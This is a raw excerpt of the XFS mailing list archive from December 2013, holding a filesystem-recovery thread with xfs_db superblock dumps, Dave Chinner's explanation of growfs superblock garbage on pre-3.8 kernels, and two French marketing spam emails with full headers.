0xd0de > flags =3D 0x17 > shared_vn =3D 97 > inoalignmt =3D 33554434 > unit =3D 418391552 > width =3D 0 > dirblklog =3D 0 > logsectlog =3D 0 > logsectsize =3D 0 > logsunit =3D 506003457 > features2 =3D 0x8 > bad_features2 =3D 0xa On Wed, Dec 18, 2013 at 7:34 PM, Dave Chinner wrote: > [ cc'd the XFS list again - please keep problem triage on the public > lists so that more than one person can help you. ] > > On Mon, Dec 16, 2013 at 02:53:03PM -0200, Rafael Weingartner wrote: > > Today, I let the command xfs_repair /dev/... ran till it finished, I go= t > > the following messages: > > > > Phase 1 - Find and verify superblock .... > > > Could not verify primary superblock - not enough secondary superblock= s > > > with matching geometry!! > > The primary superblock dump looked valid, but it it couldn't find > matching secondary superblocks from the contents of the primary that > it found. > > > > attempting to find a secondary superblock..... > > > ... > > > .. > > > ... > > > ... > > > found candidate secondary superblock.... > > > unable to verify superblock, continuing.... > > And it found blocks with the correct superbloc magic numbers, but > they don't match the primary superblock that was found. > > > > found candidate secondary superblock.... > > > unable to verify superblock, continuing... > > > ... > > > ... > > > > .........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ........................Sorry, > > > could not find valid secondary superblock > > > Exiting now. > > > > > > Should I upgrade the xfsprogs and try to run the xfs_repair again? > > Or does that message mean that there is no way of recovering the > filesystem? > > It's still possible to recover, but more info is needed first. > Can you get xfs_db to dump the primary and a couple of secondary > superblocks? > > # xfs_db -c "sb 0" -c p -c "sb 2" -c p -c "sb 7" -c p > > And post the output? > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > --=20 Rafael Weing=E4rtner --089e0115f0443d0c4e04edd76c44 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    [ cc'd the XFS list again - please = keep problem triage on the public
    lists so that more than one person can help you. ]

    My bad, I am sorry, sometimes I forget to press the reply = to all button.=A0

    It's still possible to recover, but m= ore info is needed first.
    Can you get xfs_db to dump the primary and a couple of secondarysuperblocks?

    I am glad to hear that, I have actually already extract= ed the files that I needed using=A0UFS explorer, but I still would like to restore the filesystem if it is= possible.=A0

    Output of "xfs_db -c "sb 0" -c p -c &q= uot;sb 2" -c p -c "sb 7" -c p <dev>"

    xfs_db: cannot init perag data (117)
    magicnum =3D 0x58465342
    blocksiz= e =3D 4096
    dblocks =3D 131072000
    rblocks =3D 0
    rextents =3D 0
    u= uid =3D 430d1253-0d52-401b-b6bd-42e23bb56bc3
    logstart =3D 67108868
    ro= otino =3D 128
    rbmino =3D 129
    rsumino =3D 130
    rextsize =3D 1
    agblocks =3D 3276800= 0
    agcount =3D 4
    rbmblocks =3D 0
    logblocks =3D 64000
    versionnum = =3D 0xb4a4
    sectsize =3D 512
    inodesize =3D 256
    inopblock =3D 16
    = fname =3D "\000\000\000\000\000\000\000\000\000\000\000\000"
    blocklog =3D 12
    sectlog =3D 9
    inodelog =3D 8
    inopblog =3D 4
    agb= lklog =3D 25
    rextslog =3D 0
    inprogress =3D 0
    imax_pct =3D 25
    ic= ount =3D 256
    ifree =3D 200
    fdblocks =3D 127617831
    frextents =3D 0<= br>uquotino =3D 0
    gquotino =3D 0
    qflags =3D 0
    flags =3D 0
    shared_vn =3D 0
    inoalignmt =3D 2
    unit = =3D 0
    width =3D 0
    dirblklog =3D 0
    logsectlog =3D 0
    logsectsize = =3D 0
    logsunit =3D 1
    features2 =3D 0xa
    bad_features2 =3D 0xa
    ma= gicnum =3D 0x58465350
    blocksize =3D 4096
    dblocks =3D 7566328849834176030
    rblocks =3D 704810= 84416
    rextents =3D 5638878729879945216
    uuid =3D 5de3e560-0f52-401b-85= 4a-acfc3bb56bfb
    logstart =3D 7566047375040578052
    rootino =3D 18374686= 479671613439
    rbmino =3D 18446744071377518559
    rsumino =3D null
    rextsize =3D 1
    ag= blocks =3D 32768000
    agcount =3D 4
    rbmblocks =3D 1073782799
    logbloc= ks =3D 64000
    versionnum =3D 0xa4a4
    sectsize =3D 512
    inodesize =3D = 267
    inopblock =3D 16
    fname =3D "3\367\356\036\000\000\000`i\000\000\000"
    blocklog = =3D 66
    sectlog =3D 64
    inodelog =3D 190
    inopblog =3D 133
    agblklo= g =3D 27
    rextslog =3D 3
    inprogress =3D 1
    imax_pct =3D 25
    icount= =3D 0
    ifree =3D 72057594037927936
    fdblocks =3D 131054064
    frextents =3D 5891388165771235349
    uquotino =3D= 13746228866238942976
    gquotino =3D 13746228866238942976
    qflags =3D 0x= d0de
    flags =3D 0x17
    shared_vn =3D 97
    inoalignmt =3D 33554434
    un= it =3D 418391552
    width =3D 0
    dirblklog =3D 0
    logsectlog =3D 0
    logsectsize =3D 0
    = logsunit =3D 506003457
    features2 =3D 0x8
    bad_features2 =3D 0xa
    bad= allocation group number 7
    magicnum =3D 0x58465350
    blocksize =3D 4096=
    dblocks =3D 7566328849834176030
    rblocks =3D 70481084416
    rextents =3D 5638878729879945216
    uuid =3D 5de= 3e560-0f52-401b-854a-acfc3bb56bfb
    logstart =3D 7566047375040578052
    ro= otino =3D 18374686479671613439
    rbmino =3D 18446744071377518559
    rsumin= o =3D null
    rextsize =3D 1
    agblocks =3D 32768000
    agcount =3D 4
    rbmblocks =3D 1= 073782799
    logblocks =3D 64000
    versionnum =3D 0xa4a4
    sectsize =3D 5= 12
    inodesize =3D 267
    inopblock =3D 16
    fname =3D "3\367\356\03= 6\000\000\000`i\000\000\000"
    blocklog =3D 66
    sectlog =3D 64
    inodelog =3D 190
    inopblog =3D 133agblklog =3D 27
    rextslog =3D 3
    inprogress =3D 1
    imax_pct =3D 25<= br>icount =3D 0
    ifree =3D 72057594037927936
    fdblocks =3D 131054064frextents =3D 5891388165771235349
    uquotino =3D 13746228866238942976
    gquotino =3D 13746228866238942976
    q= flags =3D 0xd0de
    flags =3D 0x17
    shared_vn =3D 97
    inoalignmt =3D 33= 554434
    unit =3D 418391552
    width =3D 0
    dirblklog =3D 0
    logsectlo= g =3D 0
    logsectsize =3D 0
    logsunit =3D 506003457
    features2 =3D 0x8
    bad_features2 =3D 0xa



    =
    On Wed, Dec 18, 2013 at 7:34 PM, Dave Chinner <david@fromorbit.com> wrote:
    [ cc'd the XFS list again - please keep = problem triage on the public
    lists so that more than one person can help you. ]

    On Mon, Dec 16, 2013 at 02:53:03PM -0200, Rafael Weingartner wrote:
    > Today, I let the command xfs_repair /dev/... ran till it finished, I g= ot
    > the following messages:
    >
    > Phase 1 - Find and verify superblock ....
    > > Could not verify primary superblock - not enough secondary superb= locks
    > > with matching geometry!!

    The primary superblock dump looked valid, but it it couldn't find=
    matching secondary superblocks from the contents of the primary that
    it found.

    > > attempting to find a secondary superblock.....
    > > ...
    > > ..
    > > ...
    > > ...
    > > found candidate secondary superblock....
    > > unable to verify superblock, continuing....

    And it found blocks with the correct superbloc magic numbers, but
    they don't match the primary superblock that was found.

    > > found candidate secondary superblock....
    > > unable to verify superblock, continuing...
    > > ...
    > > ...
    > > .................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ...........................................................................= ................................Sorry,
    > > could not find valid secondary superblock
    > > Exiting now.
    >
    >
    > Should I upgrade the xfsprogs and try to run the xfs_repair again?
    > Or does that message mean that there is no way of recovering the files= ystem?

    It's still possible to recover, but more info is needed first. Can you get xfs_db to dump the primary and a couple of secondary
    superblocks?

    # xfs_db -c "sb 0" -c p -c "sb 2" -c p -c "sb 7&qu= ot; -c p <dev>

    And post the output?

    Cheers,

    Dave.
    --
    Dave Chinner
    david@fromorbit.com



    --
    =
    Rafael Weing=E4rtner
    --089e0115f0443d0c4e04edd76c44-- From pam=news-zetrend.com@mlgnusa.com Wed Dec 18 22:32:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1,T_KHOP_FOREIGN_CLICK autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4967E7F3F for ; Wed, 18 Dec 2013 22:32:52 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 189698F8078 for ; Wed, 18 Dec 2013 20:32:48 -0800 (PST) X-ASG-Debug-ID: 1387427563-04cbb04166826f40001-NocioJ Received: from mail.mlgnusa.com (mail.mlgnusa.com [194.19.244.188]) by cuda.sgi.com with ESMTP id wNDAQEXnRjo3c8tR for ; Wed, 18 Dec 2013 20:32:43 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.188 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=dixRjOVeW/qTm2mOE0uQLl9Og2s=; b=PahqzwvuxIGUxYvn2NB3Obvvux8/U8ZQTdNfwFdgvwxCSvFb9ikud2Q4/1DRdV559yo3UH3+g3e3 LQ/uyvRSbSqc4ziJ3fQTg+f16fkx6Sx+ma3FoVaN9vAAk+IxG+zM+gl9MR9dnkLPdjsu9m6N/WeY 5S/O45Lu9M2PGIGylBs= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=wR8A4AJn4ZrPoG/LbCOc9o8PoLEJNx5a5Gr2LIdqqcbcF8L/Qe0F9zH8+u2KTG8kHokc/thRUlMO 4xLkDqYzlK74ZE2P8smNGfYWRsnYJeVctBoyrYkxbydqCMHlEY1m6h4IvJykE8J9w5jm8VmV1lja ZAbfiXl22nqmvrt3b7Q=; Received: by mail.mlgnusa.com id hm9rem1fblch for ; Thu, 19 Dec 2013 06:32:42 +0200 (envelope-from ) Date: Thu, 19 Dec 2013 05:13:41 +0200 To: From: Costa Croiseres Reply-To: Costa Croiseres Subject: =?utf-8?Q?Costa_Croiseres,_Vente_Flash_Exceptionnelle_du_12_au_31_d?= =?utf-8?Q?=C3=A9cembre?= Message-ID: <0aed021d47c7f49fddbc84e5c6b7aeea@mlgnusa.com> X-ASG-Orig-Subj: =?utf-8?Q?Costa_Croiseres,_Vente_Flash_Exceptionnelle_du_12_au_31_d?= =?utf-8?Q?=C3=A9cembre?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID2091e20ad09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.2091e20a X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.2091e20a X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=2091e20a&e=d09c0023 List-Unsubscribe: , Sender: "Costa Croiseres" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_b2aae6f7ca02fa8f8dfbcc1426a246f9" X-Barracuda-Connect: mail.mlgnusa.com[194.19.244.188] X-Barracuda-Start-Time: 1387427563 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.17 X-Barracuda-Spam-Status: No, SCORE=0.17 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_IMAGE_RATIO_04, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143214 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_b2aae6f7ca02fa8f8dfbcc1426a246f9 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Fusce augue magna, lacinia in tempor cursus, sollicitudin tempor leo. Sed consequat nunc a diam semper at suscipit ipsum pretium. Quisque dignissim nibh et enim ultricies rhoncus. In fringilla adipiscing neque, et lobortis augue volutpat eget. Quisque sagittis luctus lectus, at pellentesque dolor hendrerit ut. ========================================== Ce courriel a été envoyé par Costa Croiseres à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=2091e20a&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=2091e20a&ln=fr --b1_b2aae6f7ca02fa8f8dfbcc1426a246f9 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Costa Croisières
      costacrociere.fr
    VENTE FLASH EXCEPTIONNELLE - EXEMPLE: 7 JOURS À PARTIR DE 295 € TTC/PERS. *
    LE VENTE EXCEPTIONNELLE 65ème ANNIVERSAIRE OUVERTE. 65 CROISIÉRES À PRIX IMBATTIBLES. Costa Croisières
    Découvrez toutes nos offres exceptionnelles et réservez vite la croisière de vos rêves.
    J'en profite!
    Rendez-vous dans votre agence de voyages. - Appelez votre conseiller au 0821 200 144**
    www.costacroisieres.fr
    Suivez-nous sur: Facebook Twitter Youtube C Blog Millions of Memories Cruise Tips
    * Exemple de prix TTC en cabine intérieure et aux conditions du Tarif Flash sur les départs du Costa Pacifica des 12, 19 et 26/01/2014. Disponibilité limitée. Promotion non cumulable avec une autre réduction. Base ocupation double de la cabine. Forfait de séjour à bord inclus dans le prix présenté en exemple, mais à régler à bord, en fin de croisière. Voir conditions générales Costa Croisières.

    ** NOUVEAU ouvert tous les jours (même le dimanche) 24 heures sur 24.
    APPEL DEPUIS UN POSTE FIXE: prix d’un appel local à la minute (indépendamment de l’opérateur):
    Du Lundi au Vendredi: 0,014 € de 08h00 à 18h30 - 0,082 € de 18h30 à 8h00
    Samedi: 0,014 € de 08h00 à 13h00 - 0,082 € de 13h00 à 08h00
    Dimanche: 0,082 € toute la journée - Prix minimum par appel 0,079 €APPEL DEPUIS UN MOBILE: prix fixé selon les tarifs de l’opérateur.

    Pour vous désabonner de cette newsletter cliquez ici.

    ®2013 Costa Crociere S.p.A. - Numéro de TVA intracommunautaire IT 02545900108 - Tous droits réservés.
    Ce message vous a été envoyé car vous avez accepté de recevoir des informations de la part de Costa Croisières.
    Ce courriel a été envoyé par Costa Croiseres à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_b2aae6f7ca02fa8f8dfbcc1426a246f9-- From pam=news-zetrend.com@mlgnusa.com Wed Dec 18 22:32:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ABD187F3F for ; Wed, 18 Dec 2013 22:32:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0CE85AC001 for ; Wed, 18 Dec 2013 20:32:49 -0800 (PST) X-ASG-Debug-ID: 1387427566-04cbb04169826f40001-NocioJ Received: from mail7.mlgnusa.com (mail7.mlgnusa.com [194.19.244.214]) by cuda.sgi.com with ESMTP id mRvSD2AsJ6Vnbw3E for ; Wed, 18 Dec 2013 20:32:46 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.214 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=BFbceFN9ZC/pW4GC2zG6F5UB7bM=; b=fJ0MV/ZafW/3+zlHgXa6w+pD9LAvjQTqd+xoiVX5fQdM1o1t4QW/YL9bfLMSS7OXMm3IBiNoaUoq 0OAJAEbjWiABMLv32Iql0kR2evAjyHy5G7IOm33p9Gjmb3FU+G1vV3KJl23dN2Li23U7KSVq7OpA qzjgrbNuK/eok59ThWQ= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=S6s1TQXR7xkGV1FSLgMKRifleyTQZoUQKW4aebe0t0xwPXjRM3PXb462q75ugDFHfqFSEhYxMWlk 18BJJuz8+Un05/XKP9rVF3yLg3iNKiHDR2JK42oyZhp8YGOK7T7z9X4RGmA5/QH7Woh2Nj6r19w7 LT6ku9vLDZ0FWPcDKG0=; Received: by mail7.mlgnusa.com id hm9reu1fblcp for ; Thu, 19 Dec 2013 06:32:42 +0200 (envelope-from ) Date: Thu, 19 Dec 2013 04:29:09 +0200 To: From: Kaplan par Zetrend Reply-To: Kaplan par Zetrend Subject: =?utf-8?Q?Apprenez_l'anglais_=C3=A0_l'=C3=A9tranger_avec_Kaplan?= Message-ID: X-ASG-Orig-Subj: =?utf-8?Q?Apprenez_l'anglais_=C3=A0_l'=C3=A9tranger_avec_Kaplan?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID2f612b28d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.2f612b28 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.2f612b28 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=2f612b28&e=d09c0023 List-Unsubscribe: , Sender: "Kaplan par Zetrend" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_47f9b7ae4e6ffa4c52c8b6a7077110db" X-Barracuda-Connect: mail7.mlgnusa.com[194.19.244.214] X-Barracuda-Start-Time: 1387427566 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_06, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143214 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --b1_47f9b7ae4e6ffa4c52c8b6a7077110db Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Kaplan International Colleges Apprenez l'anglais à l'étranger avec Kaplan ! Kaplan vous propose de partir pour un séjour linguistique afin de suivre des programmes d'anglais adaptés à votre niveau : Plus de 45 écoles dans le monde Cours d'anglais standard, intensif, business et business intensif Préparation aux examens d'anglais (TOEFL, IELTS, Cambridge) Séjours de 2 semaines à 1 an Logement en résidence ou chez l'habitant Demander un devis personnalisé: http://action.metaffiliation.com/trk.php?mclic=P49B0555403B1316777217&urlrv=http%3A%2F%2Fclick.crm.kaplaninternational.com%2F%3Fqs%3D653de0ea6c07d90efdf549f88d2324a57b83a25b86c84c2e3214e02196a83b7a&urlv=1dbb6c54f4ef7116bc9a9496490cfa51 Kaplan International Colleges - 14 boulevard Montmartre, 75009 Paris - Tel. +33 (0)1 48 00 06 00 Fax +33 (0)1 48 00 05 94. Aspect S.A.R.L. au capital de 50 000 euros - Siren 350 061 222 Organisme de formation n° 11751752475 - Immatriculation agent de voyages : IMO75100339 - Garantie financière Chartis Europe, Paris La Défense - Police n.9.400.202 © 2013 Kaplan, Inc. Tous droits réservés. ========================================== Ce courriel a été envoyé par Kaplan par Zetrend à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=2f612b28&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=2f612b28&ln=fr --b1_47f9b7ae4e6ffa4c52c8b6a7077110db Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Kaplan International Colleges

    Kaplan Experience

    Apprenez l'anglais à l'étranger avec Kaplan !

    Kaplan vous propose de partir pour un séjour linguistique afin de suivre des programmes d'anglais adaptés à votre niveau :

    • Plus de 45 écoles dans le monde

    • Cours d'anglais standard, intensif, business et business intensif
    • Préparation aux examens d'anglais (TOEFL, IELTS, Cambridge)

    • Séjours de 2 semaines à 1 an

    • Logement en résidence ou chez l'habitant

     
    Demander un devis personnalisé
    Accreditation
    Kaplan International Colleges - 14 boulevard Montmartre, 75009 Paris - Tel. +33 (0)1 48 00 06 00 Fax +33 (0)1 48 00 05 94. Aspect S.A.R.L. au capital de 50 000 euros - Siren 350 061 222 Organisme de formation n° 11751752475 - Immatriculation agent de voyages : IMO75100339 - Garantie financière Chartis Europe, Paris La Défense - Police n.9.400.202
    © 2013 Kaplan, Inc. Tous droits réservés.
     
    Ce courriel a été envoyé par Kaplan par Zetrend à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_47f9b7ae4e6ffa4c52c8b6a7077110db-- From arno@disconnect.de Thu Dec 19 02:02:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7D5267F3F for ; Thu, 19 Dec 2013 02:02:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 04FF8AC002 for ; Thu, 19 Dec 2013 00:02:34 -0800 (PST) X-ASG-Debug-ID: 1387440152-04cb6c537c831340001-NocioJ Received: from dakara.d-tor.org (dakara.d-tor.org [88.198.161.242]) by cuda.sgi.com with ESMTP id NzhglJpLRB4up2sG for ; Thu, 19 Dec 2013 00:02:32 -0800 (PST) X-Barracuda-Envelope-From: arno@disconnect.de X-Barracuda-Apparent-Source-IP: 88.198.161.242 Received: from [IPv6:2a01:4f8:d16:901:e4d1:5e7c:5892:ecd8] (unknown [IPv6:2a01:4f8:d16:901:e4d1:5e7c:5892:ecd8]) by dakara.d-tor.org (Postfix) with ESMTPSA id 9B71E8102E0; Thu, 19 Dec 2013 09:02:27 +0100 (CET) Message-ID: <52B2A807.5000608@disconnect.de> Date: Thu, 19 Dec 2013 09:02:15 +0100 From: arno User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [XFS BUG] xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning References: <52B1B89A.8030401@disconnect.de> <20131218223312.GP31386@dastard> X-ASG-Orig-Subj: Re: [XFS BUG] xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning In-Reply-To: <20131218223312.GP31386@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-d-tor-MailScanner-Information: Please contact the ISP for more information X-d-tor-MailScanner-ID: 9B71E8102E0.A241E X-d-tor-MailScanner: Found to be clean X-d-tor-MailScanner-From: arno@disconnect.de X-Barracuda-Connect: dakara.d-tor.org[88.198.161.242] X-Barracuda-Start-Time: 1387440152 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143217 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 18-Dec-13 11:33 PM, Dave Chinner wrote: > On Wed, Dec 18, 2013 at 04:00:42PM +0100, arno wrote: >> Hello, >> >> (Please keep me in CC, I'm not subscribed) >> >> Just got "xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure >> needs cleaning" when trying to grow a logical Volume. Sorry, I lost the >> xfs_growfs output. >> >> After collecting some info, I ran xfs_repair, and that seemed to fix it, >> so no harm done. After fixing, the FS had the new, increased size, if >> that matters. > > This isn't the first time you've grown the filesystem, is it? No, indeed it isn't. > On older kernels, growfs could leave trailing garbage in the new > secondary superblocks it created. This was fixed in kernel v3.8 by > commit: > > 1375cb6 xfs: growfs: don't read garbage for new secondary superblocks > > This garbage is detected by other changes made in v3.8 that verify > the secondary superblocks as they are read. > > 9802182 xfs: verify superblocks as they are read from disk > > So if you grew the filesystem on a kernel older than v3.8, growing > it again on a v3.8+ kernel will detect the superblock corruption and > throw this error. I'm pretty sure that last time I grew it, it was with a pre v3.8-kernel. > xfs_repair was recently fixed to detect the garbage in secondary > superblocks and zero it: > > cbd7508 xfs_repair: zero out unused parts of superblocks > > So what you need to do is run xfs_repair built from the development > git tree and run it on your filesystem. That will remove the garbage > from the superblocks and make this problem go away forever. Will do. Thanks! -- Regards. Arno. From alex@zadarastorage.com Thu Dec 19 03:24:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.9 required=5.0 tests=STOX_REPLY_TYPE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 750577F3F for ; Thu, 19 Dec 2013 03:24:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3C13D8F8064 for ; Thu, 19 Dec 2013 01:24:19 -0800 (PST) X-ASG-Debug-ID: 1387445051-04bdf00fe2110050001-NocioJ Received: from mail-ee0-f45.google.com (mail-ee0-f45.google.com [74.125.83.45]) by cuda.sgi.com with ESMTP id vK3IDAm8bkNIDlx9 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 19 Dec 2013 01:24:12 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 74.125.83.45 Received: by mail-ee0-f45.google.com with SMTP id d49so326020eek.32 for ; Thu, 19 Dec 2013 01:24:10 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:from:to:cc:references:in-reply-to :subject:date:mime-version:content-type:content-transfer-encoding :importance; bh=bUayLahjgJ5QdYBwi80Vfp9NzDIuZeqOC5MYCflH+9g=; 